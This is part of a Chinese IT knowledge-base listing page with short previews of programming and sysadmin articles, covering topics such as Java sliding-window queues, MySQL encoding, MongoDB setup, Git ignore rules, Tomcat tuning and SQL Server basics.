target="_blank">[设计]字体创意设计方法谈</a> <span class="text-muted">brotherlamp</span> <a class="tag" taget="_blank" href="/search/UI/1.htm">UI</a><a class="tag" taget="_blank" href="/search/ui%E8%87%AA%E5%AD%A6/1.htm">ui自学</a><a class="tag" taget="_blank" href="/search/ui%E8%A7%86%E9%A2%91/1.htm">ui视频</a><a class="tag" taget="_blank" href="/search/ui%E6%95%99%E7%A8%8B/1.htm">ui教程</a><a class="tag" taget="_blank" href="/search/ui%E8%B5%84%E6%96%99/1.htm">ui资料</a> <div>&nbsp; 从古至今,文字在我们的生活中是必不可少的事物,我们不能想象没有文字的世界将会是怎样。在平面设计中,UI设计师在文字上所花的心思和功夫最多,因为文字能直观地表达UI设计师所的意念。在文字上的创造设计,直接反映出平面作品的主题。 如设计一幅戴尔笔记本电脑的广告海报,假设海报上没有出现“戴尔”两个文字,即使放上所有戴尔笔记本电脑的图片都不能让人们得知这些电脑是什么品牌。只要写上“戴尔笔</div> </li> <li><a href="/article/2050.htm" title="单调队列-用一个长度为k的窗在整数数列上移动,求窗里面所包含的数的最大值" target="_blank">单调队列-用一个长度为k的窗在整数数列上移动,求窗里面所包含的数的最大值</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95%E9%A2%98/1.htm">面试题</a> <div>import java.util.LinkedList; /* 单调队列 滑动窗口 单调队列是这样的一个队列:队列里面的元素是有序的,是递增或者递减 题目:给定一个长度为N的整数数列a(i),i=0,1,...,N-1和窗长度k. 要求:f(i) = max{a(i-k+1),a(i-k+2),..., a(i)},i = 0,1,...,N-1 问题的另一种描述就</div> </li> <li><a href="/article/2177.htm" title="struts2处理一个form多个submit" target="_blank">struts2处理一个form多个submit</a> <span class="text-muted">chiangfai</span> <a class="tag" taget="_blank" href="/search/struts2/1.htm">struts2</a> <div>web应用中,为完成不同工作,一个jsp的form标签可能有多个submit。如下代码: &lt;s:form action=&quot;submit&quot; method=&quot;post&quot; namespace=&quot;/my&quot;&gt; &lt;s:textfield name=&quot;msg&quot; label=&quot;叙述:&quot;&gt;</div> </li> <li><a href="/article/2304.htm" title="shell查找上个月,陷阱及野路子" target="_blank">shell查找上个月,陷阱及野路子</a> <span class="text-muted">chenchao051</span> <a class="tag" taget="_blank" href="/search/shell/1.htm">shell</a> <div>date -d &quot;-1 month&quot; +%F &nbsp;&nbsp;&nbsp; 以上这段代码,假如在2012/10/31执行,结果并不会出现你预计的9月份,而是会出现八月份,原因是10月份有31天,9月份30天,所以-1 month在10月份看来要减去31天,所以直接到了8月31日这天,这不靠谱。 &nbsp;&nbsp;&nbsp; 野路子解决:假设当天日期大于15号</div> </li> <li><a href="/article/2431.htm" title="mysql导出数据中文乱码问题" target="_blank">mysql导出数据中文乱码问题</a> <span class="text-muted">daizj</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E4%B8%AD%E6%96%87%E4%B9%B1%E7%A0%81/1.htm">中文乱码</a><a class="tag" taget="_blank" href="/search/%E5%AF%BC%E6%95%B0%E6%8D%AE/1.htm">导数据</a> <div>解决mysql导入导出数据乱码问题方法: 1、进入mysql,通过如下命令查看数据库编码方式: mysql&gt;&nbsp; show variables like 'character_set_%'; +--------------------------+----------------------------------------+ | Variable_name&nbs</div> </li> <li><a href="/article/2558.htm" title="SAE部署Smarty出现:Uncaught exception 'SmartyException' with message 'unable to write" target="_blank">SAE部署Smarty出现:Uncaught exception 'SmartyException' with message 'unable to write</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/smarty/1.htm">smarty</a><a class="tag" taget="_blank" href="/search/sae/1.htm">sae</a> <div>&nbsp; 对于SAE出现的问题:Uncaught exception 'SmartyException' with message 'unable to write file...。 官方给出了详细的FAQ:http://sae.sina.com.cn/?m=faqs&amp;catId=11#show_213 解决方案为: &nbsp; 01 $path&nbsp;</div> </li> <li><a href="/article/2685.htm" title="《教父》系列台词" target="_blank">《教父》系列台词</a> <span class="text-muted">dcj3sjt126com</span> <div>Your love is also your weak point. 你的所爱同时也是你的弱点。 &nbsp; If anything in this life is certain, if history has taught us anything, it is that you can kill anyone. &nbsp; 不顾家的人永远不可能成为一个真正的男人。&nbsp;&</div> </li> <li><a href="/article/2812.htm" title="mongodb安装与使用" target="_blank">mongodb安装与使用</a> <span class="text-muted">dyy_gusi</span> <a class="tag" taget="_blank" href="/search/mongo/1.htm">mongo</a> <div>一.MongoDB安装和启动,widndows和linux基本相同 1.下载数据库, &nbsp;&nbsp;&nbsp;&nbsp;linux:mongodb-linux-x86_64-ubuntu1404-3.0.3.tgz 2.解压文件,并且放置到合适的位置 &nbsp;&nbsp;&nbsp;&nbsp;tar -vxf&nbsp;mongodb-linux-x86_64-ubun</div> </li> <li><a href="/article/2939.htm" title="Git排除目录" target="_blank">Git排除目录</a> <span class="text-muted">geeksun</span> <a class="tag" taget="_blank" href="/search/git/1.htm">git</a> <div>在Git的版本控制中,可能有些文件是不需要加入控制的,那我们在提交代码时就需要忽略这些文件,下面讲讲应该怎么给Git配置一些忽略规则。 &nbsp; 有三种方法可以忽略掉这些文件,这三种方法都能达到目的,只不过适用情景不一样。 1. &nbsp;针对单一工程排除文件 这种方式会让这个工程的所有修改者在克隆代码的同时,也能克隆到过滤规则,而不用自己再写一份,这就能保证所有修改者应用的都是同一</div> </li> <li><a href="/article/3066.htm" title="Ubuntu 创建开机自启动脚本的方法" target="_blank">Ubuntu 创建开机自启动脚本的方法</a> <span class="text-muted">hongtoushizi</span> <a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a> <div>转载自:&nbsp;http://rongjih.blog.163.com/blog/static/33574461201111504843245/ Ubuntu 创建开机自启动脚本的步骤如下: 1) 将你的启动脚本复制到&nbsp;/etc/init.d目录下 以下假设你的脚本文件名为 test。 &nbsp; 2) 设置脚本文件的权限 $ sudo chmod 755</div> </li> <li><a href="/article/3193.htm" title="第八章 流量复制/AB测试/协程" target="_blank">第八章 流量复制/AB测试/协程</a> <span class="text-muted">jinnianshilongnian</span> <a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/lua/1.htm">lua</a><a class="tag" taget="_blank" href="/search/coroutine/1.htm">coroutine</a> <div>流量复制 在实际开发中经常涉及到项目的升级,而该升级不能简单的上线就完事了,需要验证该升级是否兼容老的上线,因此可能需要并行运行两个项目一段时间进行数据比对和校验,待没问题后再进行上线。这其实就需要进行流量复制,把流量复制到其他服务器上,一种方式是使用如tcpcopy引流;另外我们还可以使用nginx的HttpLuaModule模块中的ngx.location.capture_multi进行并发</div> </li> <li><a href="/article/3320.htm" title="电商系统商品表设计" target="_blank">电商系统商品表设计</a> <span class="text-muted">lkl</span> <div>DROP TABLE IF EXISTS `category`; -- 类目表 /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `category` ( `id` int(11) NOT NUL</div> </li> <li><a href="/article/3447.htm" title="修改phpMyAdmin导入SQL文件的大小限制" target="_blank">修改phpMyAdmin导入SQL文件的大小限制</a> <span class="text-muted">pda158</span> <a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div> 用phpMyAdmin导入mysql数据库时,我的10M的 数据库不能导入,提示mysql数据库最大只能导入2M。    phpMyAdmin数据库导入出错:   You probably tried to upload too large file. Please refer to documentation for ways to workaround this limit. </div> </li> <li><a href="/article/3574.htm" title="Tomcat性能调优方案" target="_blank">Tomcat性能调优方案</a> <span class="text-muted">Sobfist</span> <a class="tag" taget="_blank" href="/search/apache/1.htm">apache</a><a class="tag" taget="_blank" href="/search/jvm/1.htm">jvm</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/%E5%BA%94%E7%94%A8%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">应用服务器</a> <div>一、操作系统调优 对于操作系统优化来说,是尽可能的增大可使用的内存容量、提高CPU的频率,保证文件系统的读写速率等。经过压力测试验证,在并发连接很多的情况下,CPU的处理能力越强,系统运行速度越快。。 【适用场景】 任何项目。 二、Java虚拟机调优 应该选择SUN的JVM,在满足项目需要的前提下,尽量选用版本较高的JVM,一般来说高版本产品在速度和效率上比低版本会有改进。 J</div> </li> <li><a href="/article/3701.htm" title="SQLServer学习笔记" target="_blank">SQLServer学习笔记</a> <span class="text-muted">vipbooks</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a><a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a> <div>1、create database school 创建数据库school 2、drop database school 删除数据库school 3、use school 连接到school数据库,使其成为当前数据库 4、create table class(classID int primary key identity not null) 创建一个名为class的表,其有一</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>